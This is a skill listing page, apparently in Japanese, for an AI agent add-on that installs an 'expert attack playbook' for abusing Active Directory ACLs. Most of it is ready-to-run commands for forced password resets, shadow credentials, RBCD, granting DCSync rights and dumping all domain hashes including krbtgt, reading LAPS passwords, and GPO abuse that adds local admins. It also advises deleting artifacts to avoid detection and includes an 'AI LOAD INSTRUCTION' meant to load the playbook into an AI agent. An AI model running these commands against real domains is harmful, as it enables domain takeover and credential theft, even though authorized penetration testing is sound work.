mcpField
A
active-directory-acl-abuse

active-directory-acl-abuse

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

active-directory-acl-abuse について

Active Directory のセキュリティ評価で ACL の悪用を調べるスキルです。BloodHound による列挙、権限チェーンの分析、一般的な権限昇格経路を扱います。

主な機能

  1. 01BloodHound の収集とクエリ
  2. 02危険な ACE の分析
  3. 03DCSync 権限と実行
  4. 04シャドウ資格情報の手順
  5. 05LAPS の読み取りと GPO の悪用

活用シーン

  1. 01ドメイン ACL の関係を列挙
  2. 02Domain Admins への経路を分析
  3. 03許可済み評価で GPO と LAPS のリスクを確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill active-directory-acl-abuse

インストール後、Claude Code で/active-directory-acl-abuseを入力して読み込まれたか確認します。

同梱ファイルBLOODHOUND_PATHS.md

詳細

スキル:AD ACL の悪用 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:AD ACL のエキスパート向け悪用手法です。BloodHound による列挙、危険な ACE(GenericAll、WriteDACL、WriteOwner など)、DCSync、シャドウ認証情報、標的型 Kerberoasting、グループ操作、LAPS、GPO の悪用を扱います。ベースモデルでは、複雑な ACL チェーンの悪用や Cypher クエリのパターンを見落とします。

0. 関連するルーティング

詳しく調べる前に、以下の読み込みを検討してください。

高度なリファレンス

以下が必要な場合は、BLOODHOUND_PATHS.md も読み込んでください。

  • Cypher クエリを使った、一般的な BloodHound 攻撃パス
  • 複雑なチェーンを見つけるためのカスタム Neo4j クエリ
  • データの収集と取り込みに関するヒント

1. BLOODHOUND による列挙

データ収集
# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest — only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis
主な BloodHound クエリ(組み込み)
  • 「すべての Domain Admins を検索」
  • 「所有しているプリンシパルから Domain Admins への最短パス」
  • 「DCSync 権限を持つプリンシパルを検索」
  • 「制約なしの委任が設定されたシステムへの最短パス」
  • 「Domain Users がローカル管理者であるコンピューターを検索」

2. 危険な ACE の種類

ACEユーザーへの影響グループへの影響コンピューターへの影響
GenericAllパスワードの変更、SPN の設定、属性の変更メンバーの追加RBCD、LAPS の読み取り、すべての属性
GenericWriteSPN の設定、属性の変更、シャドウ認証情報メンバーの追加RBCD、シャドウ認証情報
WriteDACL任意の権限を自分に付与同左同左
WriteOwner所有権を取得 → その後 WriteDACL同左同左
ForceChangePassword古いパスワードを知らずにパスワードをリセット該当なし該当なし
AddMember該当なし自分または他者をグループに追加該当なし
AllExtendedRightsパスワードの強制変更、LAPS の読み取り該当なしLAPS、BitLocker キーの読み取り
ReadLAPSPassword該当なし該当なしローカル管理者のパスワードを読み取る
WriteSPNSPN を設定 → 標的型 Kerberoast該当なし該当なし

3. ACE ごとの悪用

ユーザーに対する GenericAll
# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
コンピューターに対する GenericAll / GenericWrite
# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
WriteDACL
# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
WriteOwner
# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll
ForceChangePassword
# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
グループへの AddMember
# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

4. DCSYNC 攻撃

前提条件

プリンシパルは、ドメインオブジェクトに対して次のレプリケーション権限を両方持っている必要があります。

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
実行
# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
デフォルトで DCSync 権限を持つのは誰か
  • Domain Admins
  • Enterprise Admins
  • Domain Controllers グループ
  • BUILTIN\Administrators(ドメインオブジェクト上)

5. シャドウ認証情報

攻撃の流れ

ターゲットの msDS-KeyCredentialLink に書き込み → 証明書を生成 → PKINIT で認証します。

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

クリーンアップ:検知を避けるため、追加したキー認証情報を削除します。


6. LAPS パスワードの読み取り

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

7. GPO の悪用

書き込み可能な GPO を特定する
# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}
SharpGPOAbuse を使った悪用
# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

8. ACL 攻撃の判断ツリー

Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│   └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│   ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│   ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│   ├── ForceChangePassword → reset password directly (§3)
│   ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│   └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│   ├── AddMember / GenericAll → add self to privileged group (§3)
│   └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│   ├── GenericAll/GenericWrite → RBCD attack (§3)
│   ├── AllExtendedRights → read LAPS password (§6)
│   └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│   ├── WriteDACL → grant DCSync rights to self (§4)
│   └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│   └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
    └── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis

コメント